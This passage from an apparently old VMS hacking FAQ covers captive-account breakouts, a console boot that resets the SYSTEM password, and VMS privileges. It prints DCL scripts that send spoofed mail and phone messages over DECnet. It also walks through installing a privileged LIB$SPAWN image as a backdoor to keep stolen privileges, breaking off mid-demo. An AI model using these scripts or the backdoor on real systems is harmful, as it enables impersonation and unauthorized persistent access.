.profile???"). Easy. There is none. VMS startup routines (for personal accounts) can be found in the user's home directory under the name "LOGIN.COM". Also check out the system-wide login routine at SYS$MANAGER:SYLOGIN.COM. 12) Captive Accounts ("I can't get to DCL"). It is possible to setup "CAPTIVE" and "RESTRICTED" accounts under VMS. When setup correctly these can be difficult to break out of, however, in a lot of cases, a simple control-C while the LOGIN.COM is executing will work. Let me explain here, as I've seen people talk about this section. Sometimes, A VMS administrator will create a "CAPTIVE" (actually, restricted) account, but leave something open that can "SPAWN" out (For example, no process limitation have been set). I've even seen VMS administrators put "LOGOUT" in the LOGIN.COM, and think that its "secure/captive". I've seen administrators put a DCL procedure in charge of a "CAPTIVE" account, and leave several holes open (Several things come to mind here!). If you are able to control-c out, this is _not_ a CAPTIVE/ RESTRICTED account (though, the administrator might think it is). Another method of keeping the LOGIN.COM (or any commands for that fact) from executing is to login with the "/NOCOMMAND" flag. This flag is placed after your username at the USERNAME prompt, and will bypass any account startup files/commands. On a correctly setup captive account, this will not work. You'll see the error: Qualifier not allowed in captive accounts If you see this, the account is CAPTIVE (or RESTRICTED). In the event that this fails, some places slip up by allowing a parent process to spawn off other processes. For example, if the captive account puts you into KERMIT, FTP, or ALL-IN-ONE (Office automation/mail package), you might be able to 'SPAWN' out to DCL or issue DCL commands. This can also be prevented by simply setting up subprocess limitation on the account. (within AUTHORIZE: "MOD (USERNAME) /PRCLM=0"). 13) Terminal monitoring/logging ("How can I monitor a tty?") Programs like "SUPERVISOR" allow administrators to monitor/watch users actions. It also comes with a fairly useful utility called "PHOTO". PHOTO works like "script" (typescript) does under Unix. To check it out, you can get if from: ftp://manson.vistech.net/filesets/supervisor.zip ftp://ftp.process.com/pub/vms-freeware/filesets/supervisor.zip To monitor users, you need privileged access. However, anyone can use PHOTO. This program is written in BLISS, and comes with OBJ code (which can be re-linked). This package comes in VMS "BACKUP" /SAVE_SET. Once you "UNZIP" them, you'll need to do the following: $ BACKUP SUPSERUD054.* /SAVE_SET TARGETDEV:[TARGETDIR] For example, to unpack the /SAVE_SETs in your current directory, you'd enter: $ BACKUP SUPSERUD054.* /SAVE_SET [] Once this is done, do a: $ @BUILD.COM This will run BLISS and LINK the binaries (If bliss is not present, and the system is a VAX, you will see errors about BLISS not existing, but it should re-link the OBJ code fine). From there, read the documentation. Not to mention, with the correct priv's, ethernet sniffing is possible. *14) Accounting/Auditing ("Who is watching me?") [*** NEEDS TO BE MODIFIED**] Accounting information is kept in the file SYS$MANAGER:ACCOUNTNG.DAT ($ACCOUNTING). A list of auditing options is available for the sys admin ($SET AUDIT). An intrusion database is part of the VMS security scheme ($SHOW INTRUSION). "The Supervisor Series" (as reviewed in the Fall 94 issue of 2600) allows a privileged user to spy on and intervene in another user's on-line activities. It is public domain available at ftp.spc.edu/anonymous/macro32/savesets. There are also short programs out there for a privileged user to look at a user's command buffer. 15) Buffer overflows/overruns ("Smashing VMS' stack for fun... ") "Short answer: 'Yes' with an 'if' long answer: 'No' -- with a 'But'. -- Rev. Lovejoy of The Simpsons. This is a hot topic that comes up from time to time on newsgroups suchs as comp.os.vms, and various #vms channels. I'll attempt to address it as well as possible. First off, to understand the basics of how buffer-overflow attacks work, you might want to read the classic, "Smashing the Stack for Fun and Profit". This was written by Aleph One, and you can read it at: http://www.vistech.net/users/beave/overflow.html http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/profit.html A buffer-overflow is done by passing data that is larger than the buffer size to code which fails to check its size. When the data is stored, it over writes some memory beyond the end of the buffer. Part of the data overwritten on the stack includes the return address. The idea is for the 'hacker' to write a return address pointing to the address of his own code. Usually, the 'hackers' code will call a shell, thus elevating the 'hackers' privileges. In userland, there seems to be very little doubt that buffer overflows _will_ work. The problem is, having a VMS _privileged_ image execute arbitrary code is difficult. There are several reasons for this: o The OpenVMS core dosen't use C/C++ and zero-terminated strings, but rather descriptors - a data structure which describes the data with information as to its length and its location. [Descriptors can also be used in C as well!]. OpenVMS programmers also tend not to trust unchecked strings. This does _not_ include possible third party TCP/IP stacks and applications! o OpenVMS memory protections are rather sophisticated and protects better than most OSes. o OpenVMS incorporates a "non-executable" stack. This does not stop _all_ buffer overflow attacks, it does stop one class of them. o "Daemons" (Known as 'detached processes' in the VMS world) can be run from a non-root account. The process can then execute installed images as needed. [This is something thats starting to find its way into *nix type OSes as well] o A detached process that runs with privileges can be programmed in such a way that they are only enabled when needed. There are several interesting points brought up on Usenet. Here's a related post by Brian Schenkenberger on comp.os.vms [Date: 2000/06/14, Subject: VMS Security features]: "Stack regions are carved out of VMS process P1 address space. This is the 32 bit addressable virtual address region which starts at address 7FFFFFFF hex and grows downward to 40000000 hex. The act of pushing something on the stack involved decrementing the value of the stack pointer used to address the stack and then move the value to this newly derived address. In VMS, the less privied stacks (sans the user stack) start with the less privied stack in the higher address locations -- SUPERVISOR, EXECUTIVE and then KERNEL. The access mode protections keep stack overruns in these mods from corrupting inner mode stacks. The kernel stack has guard pages at its extremes because of the nature of kernel mode. Thus under and over runs in kernel mode will cause an ACCVIO. The USER mode stack grows downward from the very lowest portion of P1 space (CTL$GL_CTLBASVA) to the virtual maximum of 40000000 hex. USER mode stack space is created and destroyed with each image activation. It simply doesn't matter. IF YOU DO NOT POSSESS THE PRIVILEGE AND YOU HAVE NOT ATTAINED THE PROCESSOR ACCESS MODE NEEDED, YOU CAN NOT WRITE TO A PRIVIED ACCESS MODE STACK. Buffer overruns are also checked in system service routines -- the ultimate API in most all of the run-time libraries and other APIs in VMS. One poster pointed out to you that data is passed to these services in the form of a descriptor -- a data structure which describes the data with information as to its length and its location. These services then check the accessiblity of the data with access probing instructions (PROBEx). These probes are done using the "previous" mode of the caller. Thus, if you've not attained a specified access mode, you can not ask a system service to perform some task which would corrupt the mechanisms which the particular system service is designed control or manipulate." [Usenet: Comp.os.vms: From: Kieth Parris, Subject: Relative invulnerablility of VMS to buffer-overflow attacks. Date: 2002-04-03] "The Alpha memory management architecture provides some bits in the Page Table Entries (PTEs) that control what type of access is allowed to memory. For example, a read-only page can be protected by having the Fault-On-Write bit set, and any attempt to write the page causes a fault and results in a memory access violation error. Alpha also has a Fault-On-Execute bit, designed to prevent an errant program from jumping off into the weeds and trying to execute data as instructions. On Alpha/VMS, the user stack is mapped with PTEs that have the Fault-On-Execute bit set, so any attempt to branch into data area on the stack results in an access violation, and the process dies." - Vendors still tend to install things with unneeded privileges (give a example of BYPASS because it "needs to read files"). 16) Physical console bypassing ("I'm in front of the machine! Get me in!") If you don't have the SYSTEM password, but have _physical_ access to the machine, you can perform a "conversational reboot". The step are as follows (from Compaqs/HPs OpenVMS FAQ): "Halt the system. Exactly how this is done depends on the specific system model: Depending on the model, this can involve pressing the HALT button, entering CTRL/P on the console, or pressing the BREAK key on the console. At the >>> console prompt, use a console command to boot into the SYSBOOT> utility. (SYSBOOT allows conversational changes to system parameters). The syntax for the conversational bootstrap varies by system model - this typically involves specifying a flag of 1, for example: VAX: B/1 B/R5:1 @GENBOO Alpha: b -flags 0,1 If your system has a non-zero system root (such as root SYSE, shown here), you will have to use a console command such as the following: VAX: B/E0000001 B/R5:E0000001 @ Alpha: b -flags e,1 If your system has a hardware password (various systems support a password that prevents unauthorized access to the console), you will need to know what the password is and will need to enter it using the LOGIN command at the console. If you get an Inv Cmd error trying to perform a conversational bootstrap, and you do not have the hardware console password for the console LOGIN command, you are stuck - you will need to call for hardware service in order to reset the hardware console password. The syntax used for the console password mechanism varies. Once at the SYSBOOT> prompt, request that OpenVMS read the system startup commands directly from the system console, that the window system (if any) not be started, and that OpenVMS not record these parameter changes for subsequent system reboots: SET/STARTUP OPA0: SET WINDOW_SYSTEM 0 SET WRITESYSPARAMS 0 CONTINUE At the $ prompt, the system will now be accepting startup commands directly from the console. Type the following two DCL commands: SPAWN @SYS$SYSTEM:STARTUP The result of these two commands will be the normal system startup, but you will be left logged in on the console, running under a privileged username. Without the use of the SPAWN command, you would be logged out when the startup completes. If necessary, you can skip the invocation of the system startup temporarily, and perform tasks such as registering license PAKs or various other "single-user" maintenance operations. Use the following commands to reset the SYSTEM password: SET DEFAULT SYS$SYSTEM: ! or wherever SYSUAF.DAT resides RUN SYS$SYSTEM:AUTHORIZE MODIFY SYSTEM /PASSWORD=newpassword EXIT These steps will change the SYSTEM password to the specified new newpassword password value. Reboot the system normally - the SYSTEM password should now be set to the value you specified in Step 5. Some people will suggest a method using the UAFALTERNATE SYSGEN parameter. This approach is not always reliable and is not recommended, as there can easily be an alternate user authorization file configured on the system. For further information on emergency startup and shutdown, as well as for the official OpenVMS documentation on how to change the SYSTEM password from the console in an emergency, please see the OpenVMS System Manager's Manual in the OpenVMS documentation set. You can also use the conversational bootstrap technique shown above (the steps through Step 3) to alter various system parameters. At the SYSBOOT> prompt, you can enter new parameters values: SHOW MAXPROCESSCNT SET . 64 CONTINUE The "." is a shorthand notation used for the last parameter examined. " - From http://www.openvms.compaq.com/wizard/openvms_faq.html [Note: the "SET WINDOW_SYSTEM 0", is to stop DECWindows from starting. This no longer works on current OpenVMS installations!] - VMS mail/SMTP Information - 1. It is possible to send fake mail through VMSmail objects. DECNet object logs are produced and readable by sys admins. $! To send anonymous or fake messages(except for remote node system admins - $! mail server logs) through the MAIL mailbox to any user logged on the NET; $! must only have NETMBX privilege $null[0,8] = 0 $remote_node = P1 $if P1 .eqs. "" then read sys$command remote_node /prompt="node: " $local_user = P2 $if P2 .eqs. "" then read sys$command local_user /prompt="local user: " $local_user := 'local_user ! remove blanks and lowercases $real_remote_user = P2 $if P2 .eqs. "" then - read sys$command real_remote_user /prompt="real remote user: " $real_remote_user := 'real_remote_user ! remove blanks and lowercases $remote_user = P3 $if P3 .eqs. "" then read sys$command remote_user /prompt="remote user: " $remote_user := 'remote_user ! remove blanks and lowercases $subject = P4 $if P4 .eqs. "" then read sys$command subject /prompt="subject: " $filename = P5 $if P5 .eqs. "" then read sys$command filename /prompt="file name: " $filename := 'filename $! $open/read/write slave 'remote_node'::"27=" $write slave "''local_user'" $write slave "''real_remote_user'" $read slave status $write sys$output f$fao("Addressee status is: !XL",f$cvui(0,8,status)) $write slave null $if filename .nes. "" $ then $ write slave "''remote_user'" $ write slave "''subject'" $ open/read/error=end_of_file file 'filename' $loop: $ read/end=end_of_file file record $ write slave "''record'" $ goto loop $else $ write slave "To whomever it concerns" $ write slave "Demo of using VAXMail protocol" $ write slave "This is message line" $endif $end_of_file: $close/nolog file $write slave null $read slave status $write sys$output f$fao("Delivery status is: !XL",f$cvui(0,8,status)) $close slave $exit VMS Mail Hack Routines 2. I use my favorite Unix sendmail holes on VMS sendmail?" No.... - VAXPhone Information - *1. The phone protocol allows you to send messages. Example follows: $! To send anonymous or fake messages(except for remote node system admins - $! phone server logs) through the PHONE mailbox to any user logged on the NET, $! similar to phone ringing messages broadcast to users' terminals; must only $! have NETMBX privilege $! Note: $! This has the unfortunate side effect of kicking the user off his phone if $! its not a patched version. $! $ debug = "F" $ null_byte[0,8] = 0 $ true_byte[0,8] = 1 $ false_byte[0,8] = 0 $ id_rmt_user[0,8] = 7 !text = id of remote user, status rtn $ ring_rmt_user[0,8] = 8 !text = 1 byte, true if first ring, sts rtn $ hang_up[0,8] = 9 !link broken, no status $ master_busy[0,8] = 10 !when requested to do other functions $ master_answer[0,8] = 11 !from another master $ master_reject[0,8] = 12 !from another master $ slave_exit[0,8] = 13 !command to slave $ text[0,8] = 14 !text >= 1 char frag $ request_dir[0,8] = 15 !null returned when done $ force_third_party[0,8] = 17 !text is id of 3rd party $ on_hold[0,8] = 18 !put target on hold $ off_hold[0,8] = 19 !take target off hold $! $ status_unknown = 0 !Unknown problem $ status_success = 1 !The operation was completed successfully. $ status_isyntax = 2 !Invalid user syntax $ status_nocomm = 3 !Slave could not communicate with user $ status_missunam = 4 ! missing user name $ status_nopriv = 5 !The slave does not have necessary privileges. $ status_noexist = 6 !The specified Target user does not exist. $ status_badterm = 7 !The Target's terminal cannot be used by PHONE. $ status_logoff = 8 !The Target logged off during the procedure. $ status_offhook = 9 !Target phone off hook (e.g., /NOBROADCAST set). $! $ remote_node = P1 $ if P1 .eqs. "" then read sys$command remote_node /prompt="node : " $ remote_user = p2 $ if P2 .eqs. "" then read sys$command remote_user /prompt="user : " $ remote_user := 'remote_user ! remove blanks and lowercases $ local_user_in = "''P3'" $ if P3 .eqs. "" then read sys$command local_user_in /prompt="text : " $ local_user = "msg:: " + local_user_in + - " " - + null_byte $ open/read/write link 'remote_node'::"29=" $ write link id_rmt_user,local_user,remote_user $ read link ans $ if f$cvui(0,8,ans) .ne. status_success then goto error $ if debug then write sys$output "Link to phone setup" $ if local_user_in .eqs. "" then goto exit $ write link ring_rmt_user,local_user,true_byte $ read link ans $ if f$cvui(0,8,ans) .ne. status_success then goto error $ if debug then write sys$output "1 ringy-dingy" $ count = 1 $ on control_y then goto exit $ goto exit $LOOP: $ write link ring_rmt_user,local_user,false_byte $ read link ans $ if f$cvui(0,8,ans) .ne. status_success then goto error $ if count .ge. 3 then goto exit $ count = count +1 $ if debug then write sys$output count," ringy-dingies" $ goto loop $EXIT: $ write link slave_exit,local_user $ close link $ if debug then write sys$output "Link cleared" $ exit $ERROR: $! under development $ write sys$output "An error has occurred." $ close link $ exit 2. The phone protocol allows you to get a list of interactive users on a system. From DEC's own archives, example follows: $ vfy = f$verify(f$integer(f$logical("debug")) .or. f$integer('debug'+0)) $ if f$cvui(1,1,'debug'+0) .or. f$cvui(1,1,f$logical("debug")+0) - then write sys$error "File: PHONEDIR.COM, 29-Feb-1984" $!++ $! PHONEDIR.COM, E2.0 28-Oct-1985 $! $! COPYRIGHT (c) 1984 By $! DIGITAL EQUIPMENT CORPORATION, Maynard, Massachusetts 01754. $! All Rights Reserved. $! $! This software is furnished without license and may be used and copied $! only with the inclusion of the above copyright notice. No title to and $! ownership of the software is hereby transferred. $! $! The information in this software is subject to change without notice $! and should not be construed as a commitment by Digital Equipment $! Corporation. $! $! Digital assumes no responsibility for the use or reliability of this $! software. $!-- $!++ $! Author: SWM, 29-Feb-84, PARROT::SWM $! $! Edited: $! 23-Nov-84 SWM, User lookup, V3 compatablility, Psthru capability. $! 24-Nov-84 DC, Added logical name translation. $! 30-Nov-84 DC, '_' overrides logical, infn loop check. $! 27-Oct-85 SWM, Protocol fix, pipelining, clean up code. $! $! Abstract: $! Take a directory of users across network via phone protocol. $! $! Inputs: P1 = Node:: (or Node::Node::...) to get user list from; $! or Node::User to check on. Remote user can be specified as $! separate parameter P2. Double colon optional if single node. $! $!-- $INITIALIZE: $ on control_y then goto close $ set noon $ v4 = "true" $ if f$extr(0,2,f$getsyi("version")) .eqs. "V3" then v4 = "false" $!$ error_status = %x1001C002 $ null[0,8] = 0 $!$ if v4 then old_msg = f$envi("message") $!$ set message /nofacility/noseverity/noidentification/notext $! $ask_node_name: $ if p1 .eqs. "" then read/end=exit/error=exit sys$command p1 /prompt="Node? " $ if p1 .eqs. "" then goto exit $! $! allow override of node::user logical names $ sanity_check = 0 $log_name_loop: $ underscore_found = f$locate("_",p1) .eq. 0 $ if underscore_found then goto got_node_name $ if f$logi(p1) .eqs. "" then goto got_node_name $ p1 = f$logi(p1) $ sanity_check = sanity_check + 1 $ if sanity_check .le. 64 then goto log_name_loop $ goto error $! $got_node_name: $! add username to node string if specified as separate parameter $ if p2 .nes. "" then - if f$extr(f$leng(p1)-2,2,p1) .eqs. "::" then p1 = f$extr(0,f$leng(p1)-2,p1) $ if p2 .nes. "" then p1 = p1 + "::" + p2 $! check if single node specified without dbbl colon. $ if p2 .eqs. "" then - if f$parse(p1,,,"node") .eqs. "" then p1 = p1 + "::" $!- if f$extr(f$leng(p1)-2,2,p1) .nes. "::" then p1 = p1 + "::" $! $ if v4 then p1 = f$edit(p1,"trim,upcase,uncomment") $ if .not. v4 then p1 := 'p1' $ remote_user_name = f$parse(p1,,,"name") $ node = f$extr(0,f$leng(p1)-f$leng(remote_user_name),p1) $ if node .eqs. "" then node = f$logi("sys$node") $! commented out doesn't work if access ctrl (f$parse hides password). $!$ remote_user = node - f$parse(f$extr(0,f$leng(node)-2,node),,,"node") - $!- + remote_user_name ! remove any psthru node names... $! $ sanity_check = 0 $ temp = node $ node_string = "" $! loop to find name of destination node for use in phone protocol... $dest_node_loop: $ loc = f$loca("::",temp) $ node_string = node_string + f$parse(f$extr(0,loc+2,temp),,,"node") $! commented out for alternate node_string display if using access ctrl. $!$ node_string = node_string + f$extr(0,loc,temp) $!$ node_string = f$extr(0,f$loca("""",node_string),node_string) + "::" $ remote_user = f$extr(0,loc,temp) ! last node $ remote_user = f$extr(0,f$loca("""",remote_user),remote_user) ! minus a/c. $ temp = f$extr(loc+2,999,temp) $ sanity_check = sanity_check + 1 $ if f$loca("::",temp) .ne. f$leng(temp) .and. sanity_check .lt. 32 - then goto dest_node_loop $ remote_user = remote_user + "::" + remote_user_name $! $ if v4 then local_user = f$logi("sys$node") + - f$edit(f$getjpi("","pid"),"trim,upcase") $ if .not. v4 then local_user := 'f$logi("sys$node")''f$getjpi("","pid")' $ local_user = local_user - "_" + null ! asciz string $! $CREATE_LINK: $! noon is set so display error message $ open/read/write slave 'node'"29=" $ save_status = $status $!$ if save_status .eq. error_status then goto unreachable $ if .not. save_status then goto exit $! $ if remote_user_name .eqs. "" then goto dir_function $LOCATE_FUNCTION: $ message[0,8] = 7 ! ID remote user $ message = message + local_user + remote_user $ write/error=error slave message $ read/end=error/error=error slave record $ if f$cvui(0,8,record) .eq. 1 then - write sys$output "''remote_user' is currently available." $! Note: These response values, while defined in the phone protocol do $! not seem to be supported in response to the ID function for VAXPhone. $ if f$cvui(0,8,record) .eq. 6 then - write sys$output "''remote_user' is not available." $ if f$cvui(0,8,record) .eq. 7 then - write sys$output "''remote_user''s phone is not usable by phone." $ if f$cvui(0,8,record) .eq. 9 then - write sys$output "''remote_user''s phone is off hook (/NOBROADCAST)." $ if (f$cvui(0,8,record) .ne. 1) .and. (f$cvui(0,8,record) .ne. 6) .and. - (f$cvui(0,8,record) .ne. 7) .and. (f$cvui(0,8,record) .ne. 9) then - write sys$output "''f$fao("Bad status received = !2ZB.",f$cvui(0,8,record)) $ exit_command[0,8] = 13 $ write/error=error slave exit_command,local_user $ goto close $! $DIR_FUNCTION: $ message[0,8] = 15 ! Request directory $ message = message + local_user $ write/error=error slave message $ write/error=error slave message ! Pipeline requests!!! $ write/error=error slave message $ write/error=error slave message $! Pipelining limited to 2 extra requests max to keep procedure from hanging. $! Worst case limit is (DECnet_Pipeline_Quota/DECnet_Buffer_Size) * 2 + 1 $print_header: $ count = 0 $ write sys$output "" $ write sys$output " Directory of Users on Node ",node_string $ write sys$output "" $! skip pipeline hack code as RMS timeouts don't with DECnet yet. $ GOTO LOOP $!$ if .not. v4 then write/error=error slave message $ if .not. v4 then goto loop $! Put up to 8 requests in logical link pipe... $ sanity_check = 3 ! number msgs in pipe. $pipeline_hack: $ sanity_check = sanity_check + 1 $ if sanity_check .ge. 8 then goto loop $ write/error=error slave message $ read/end=eof/error=pipeline_hack/timeout=0 slave record $ goto loop_alt_entry $! $loop: $ read/end=eof/error=error slave record $loop_alt_entry: $ if record .eqs. "" then goto done $ write/error=error slave message $ write sys$output record $ count = count + 1 $ goto loop $eof: $! rsx-11 phone slave closes link after directory function. $ rsx = " (System is RSX)" $done: $ write sys$output "" $ write sys$output "Total number of users = ''f$string(count)'''rsx'" $! don't tell slave to exit if link already closed. $ if "''rsx'" .nes. "" then goto close $ exit_command[0,8] = 13 $ exit_command = exit_command + local_user $ write slave exit_command $eof_loop: $ GOTO CLOSE ! Hack!!! $! Note: Should finish up properly by reading all responses. $ read/end=close/error=error slave dummy $!$ write sys$output dummy ! show empty data $ goto eof_loop $! $unreachable: ! this removed... $! this section left in for possible enhanced error checking... $!$ write sys$output "" $!$ write sys$output "Node unreachable, unknown, or object unknown." $ goto exit $ERROR: $ write sys$error "PHONEDIR-E-BugCheck, An error has occured." $close: $! close the link no matter what. $ close /error=exit slave $exit: $!$ set message 'old_msg' $ if vfy then set verify ! 'f$verify(0)' $ exit BTW: There is a modified phone program available via anonymous ftp which gives increased functionality with commands such as 'reject' and 'transcribe' - User/Image Privilege Information - 1. "How are user privileges setup?" User privileges are handled in a completely different manner than Unix handles them. With Unix, you have either a> all privileges (IE - "root") b> standard user VMS is a touch different. For example, let's say you have a field engineer that needs a standard user account (I.E. - be able to send/receive mail, do standard DCL commands.. Normal TMPMBX, NETMBX, and all that), but in order to do his job, he needs to run the online VMS diagnostics software (which is a privileged operation) When you add the user, you can grant him "DIAGNOSE" privileges, and normal user privileges, and he will be able do regular users commands and run diagnostics. What this means is that you can grant certain privileged function to certain users, rather than giving the user "the whole system". This user we added would only have access to privileges that deal with the diagnostic software. For example, he could not add users (via "AUTHORIZE" or modify the SYSUAF.DAT). "Privileges restrict the user of certain system functions to processes created on the behalf of authorized users. These restrictions protect the integrity of the operating system code, data, and resources and thus, the integrity of user services." "Users cannot execute an image that requires a privilege they do not possess, unless the image is installed as a known image with the privilege in question or the image runs within a protected subsystem" Privileges can also be installed on images, so that when that image is executed, that images process get the permissions that it has been granted (this does not mean that the user gets the privileges, but rather, just the process running this task) - OpenVMS VAX Guide To System Security (6.0 manual). Below is a listing of privileges, and a brief description. ACNT - Lets a process use the RUN (Process) command to create Process ($CREPRC) system service to create processes in which accounting is disabled. A process in which account is disabled is on whose resources are not logged. ALLSPOOL - This privilege lets user's process allocate a spooled device by executing the Allocate Device ($ALLOC) system service or by users the DCL command "ALLOCATE" ALTPRI - Allows the user's process to 1. Increase its own priority 2. Set the base priority of a target process 3. Change priority of its batch or print jobs. AUDIT - Allows software to append to audit records to the system security audit log file. As a result, this privilege permits the logging of events that appear to come from the operating system BUGCHK - Allows the process to make bug check error log entries from users, supervisor, or compatibility mode or to send messages to the system error logger. BYPASS - Allows the user's process full access to all protected objects, totally bypassing UIC-based protection, ACL protection (Access Control List) and mandatory access controls. Users with this privilege can modify authorization records (SYSUAF.DAT, where usernames/passwords are stored), rights identifiers (RIGHTSLIST.DAT), DECNet object passwords and accounts (NETOBJECT.DAT), and unlimited file access. CMEXEC - Allows the user's process to execute the Change Mode to Executive system service. CMKRNL - Allows the user's process to execute the Change Mode to Kernel system services. These privileges allow things like modify a multiprocessor operation (START/ CPU, STOP/CPU type commands), modifying the system rights list (SET RIGHTS/ATTRIBUTE), change a processes UIC (SET UIC), and other functions. DETACH - Processes can create detached processes that have there own UIC without the DETACH privilege, provided the processes wants to specify a different UIC for the DIAGNOSE - Lets a process run online diagnostic programs and intercept and copy all messages written to the error log file. DOWNGRADE - Permits a process to manipulate mandatory access controls. EXQUOTA - Allows the space taken by the user's files on a given disk volumes to exceed any usage quotas set for the user (as determined by UIC) on those volumes. GROUP - Allows the user's process to affect other processes in its own group. GRPNAME - Lets the user's process bypass access controls and insert names into (and delete from) the logical table of the group to which the process belongs by the use of the Create Logical Bane and Delete Logical Name system services. GRPPRV - When the process's group matches the group of the object owner, the GRPPRV privilege gives a process the access rights provided by the object's system protection field. GRPPRV also lets a process change the protection or the ownership of any object whose owner group matches the process's group by using the DCL commands SET SECURITY IMPORT - Lets a process manipulate mandatory access controls. The privilege lets a process mount unlabeled tape volumes. This privilege is reserved for enhanced security products like SEVMS. LOG_IO - Lets the user's process execute the Queue I/O request ($QIO) system service to perform logical-level I/O operations. MOUNT - Lets the user's process execute the mount volume QIO function. NETMBX - lets a process perform functions related to a DECNet Computer Network. OPER - Allows a process to use the Operator Communications Manager (OPCOM) process to reply to user's request, to broadcast messages to all terminals logged in, to designate terminals as operator terminals and specify the types of messages to be displayed to these operator's terminals, and to initialize and control the log file of operator's messages. PFNMAP - Lets a user's process create and map page frame number (PFN) global sections to specific pages of physical memory or I/O device registers, no matter who is using the pages or registers. PHY_IO - Lets the user's process execute the Queue I/O request ($QUI) system service to perform physical-level I/O operations. PRMCEB - Lets the user's process create or delete a permanent common even flag cluster by executing the Associate Common Event Flag Cluster. PRMGBL - Lets the user's process create or delete permanent global section by executing the Create and Map Section or Delete Global Section system service. In addition , a process with this privilege (plus CMKRNL and SYSGLB privileges) can use the Install utility (INSTALL) PRMMBX - Lets user's process create or delete permanent mailbox by the Create Mailbox and Assign Channel system service or the delete Mailbox system service. Mailboxes are buffers in virtual memory that are treated as if they were record oriented I/O devices. A mailbox is used for general interprocess communications. PSWAPM - Lets the user's process control whether is can be swapped out of the balance set by executing the Set Process Swap Mode system service. READALL - Lets the process bypass existing restrictions that would otherwise prevent the process from reading an object. Unlike the BYPASS privilege which will permits writing and deleting, READALL permits only the reading of objects and allow updating of such backup-related file characteristics as the backup date. SECURITY - Lets a process perform security related functions such as modifying the system password with the DCL command SET PASSWORD /SYSTEM or modifying the system alarm and auditing settings using the DCL command SET AUDIT. SETPRV - Lets user's create process whose privileges are greater than its own. With this privilege, a user can obtain any other privilege via the DCL command "SET PROCESS/ PRIV" SHARE - Lets process assign channels to devices allocated to other processes or to a non-shared device the Assign I/O Channel system service. SHMEM - Lets the user's process create global sections and mailboxes (permanent or temporary_ in memory shared by multiple processors if the process also has appropriate PRMGBL, PRMMBX, SYSGBL, and TMPMBX privileges. SYSGBL - Lets user;s create or delete system global sections by executing the Create and Map Sections or the Delete Global Section system services. With this privilege and CMKRNL and PRMGBL, the Install command (INSTALL) can be used. SYSNAM - Let's user's process bypass discrepancy access controls and insert names into the system logical name table and delete names from that table. A process with this privilege can use the DCL commands ASSIGN and DEFINE to add names to the system logical in the user or executive mode and can use the DEASSIGN command in either mode to delete names from the table. SYSPRV - Lets a process access security objects by the system protection field and also read and modify the owner (UIC), the UIC-based protection code, and the ACL of and object. Any processes with this privilege can add, modify, or delete entries in the system user authorization file (SYSUAF.DAT) TMPMBX - Lets user's create process create a temporary mailbox by executing the Create Mailbox and Assign Channel. UPGRADE - Lets a process manipulate access controls. This privilege is reserved for enhanced security products like SEVMS. VOLPRO - Lets user's processes: o Initialize a previously used volume with an owner UIC different from the user's own UIC. o Override the expiration date on a tape or disk owned by another user. o Use the ////FOREIGN qualifier to mount a Files-11 volume owned by another user. o Override the owner UIC protection of volume. WORLD - Lets user's process affect (suspend, resume, delete, set priority, wake, etc) other processes both inside and outside its group. - Taken Mostly From the, "OpenVMS VAX System Security" (V6.0) 2. "How can I make a SUID Shell in VMS".... Simple... You can't. Privileges are handled in a much different method than on Unix (see "How are user privileges setup"). You can make a program (image) that when executed, the process of that image gains the privileges that it was "installed" with. For example, if you write a program that needs read access to the SYSUAF.DAT you *could* make SYSUAF.DAT world readable (if you are on a privileged account, of course) but this would be very, very unwise. Another method would be to "INSTALL" the executable image and give it READALL privileges, so that when a user's processes calls your programs, that programs process (the image running) gets READALL privileges. Then that process would be able to read the SYSUAF.DAT, but the user's process would not. With this in mind, it is possible to create a senerio similar to that of a "SUID Shell" (but without the shell). The idea is to give the privileges (that you want to keep a hold of) on a program that does nothing more than make a call to LIB$SPAWN. The idea is to write a program that will do nothing more than create another process (that drops you to DCL) via LIB$SPAWN, and using the VMS "INSTALL" utility, give it the privileges that you wish that process to have. There are several down falls to this. To accomplish this, you would need CMKRNL privileges yourself (your process). So your process would already need certain privileges to pull this off. The idea here is in the event that the user has obtained a "privileged account", and wishes to remain privileged, he/she could install a image which could be called by a normal (non-privileged) user in which he/she could obtain the system privileges again. As you'd expect, this assumes that you already have a "privileged" account. I'm using two accounts (one privileged = SYSTEM, one with standard rights = DEMO) to (hopefully) simplify explaining this. The "DEMO" I'll use to show that the idea works. The "SYSTEM" account I'll use to INSTALL and grant the image privileges. Lets begin by making a connection and logging in as standard user (DEMO). Below is a sample session capture of me installing a privileged image. The privilege I gave this image is "BYPASS" (Bypass all security features, and the ability to modify SYSUAF.DAT and RIGHTSLIST.DAT). Something not mentioned in previous FAQs, is that this will will only function until the system is SHUTDOWN or REBOOT'ed. During the SHUTDOWN procedure, the system "UNINSTALL's" all privileged images! Every time the system is booted, the system "REINSTALLs" the images and there respective privileges. Images and there privileges are stored in the SYS$COMMON:[SYSMGR]VMSIMAGES.DAT. This file is read at boot time. Heres a example line. sys$system:authorize /priv=(audit) So... With this in mind, you would have to add your image to the SYS$COMMON:[SYSMGR]VMSIMAGES.DAT, or in another place in the systems startup procedure. In this example (to show its functional), I'm using a non-priv'ed account (DEMO) and a priv'ed account (SYSTEM). Of course, if you _have_ priv's, you'd probably just do it from one account. I'm using two to (hopefully) simplify things... Lets begin by making a connection and logging in as a standard user (DEMO). [Note: Statements with a '$' are commands, and statements with '$!' are comments. '!' always indicates a comment. I've done this to explain things as they happen. Connected to manson. Escape character is '^]'. Welcome to Manson.vistech.net [VAX/OpenVMS 7.2] dMMMMMMMMb .aMMMb dMMMMb .dMMMb .aMMMb dMMMMb dMP"dMP"dMd dMP"dMP dMP dMP dMP" VP dMP"dMP dMP dMP dMP dMP dMP dMMMMMP dMP dMP VMMMb dMP dMP dMP dMP dMP dMP dMP dMP dMP dMP dMP dP .dMP dMP.aMP dMP dMP dMP dMP dMP dMP dMP dMP dMP VMMMP" VMMMP dMP dMP Public Access VAX/OpenVMS 7.2 For information about how to get a account here, please check out http://deathrow.vistech.net! ------------------------------------------------------------------------------- Want a account? New users.... Login under -> "NEWUSER"/Password="NEWUSER" For "Guest" access to a DCL prompt Login under -> "DEMO"/Password="USER" Upper Deck BBS Telnet/SSH Gateway Login under -> "BBS" /Password=NONE ------------------------------------------------------------------------------- Username: Demo Password: User [DEMO] has 190 blocks used, 19810 available, of 20000 authorized and permitted overdraft of 1000 blocks on DKA0 $ sho proc/priv ! See, no special priv's here. Just NETMBX/TMPMBX 3-MAY-2002 19:05:06.47 User: DEMO Process ID: 0000044C Node: MANSON Process name: "DEMO" Authorized privileges: NETMBX TMPMBX Process privileges: NETMBX may create network device 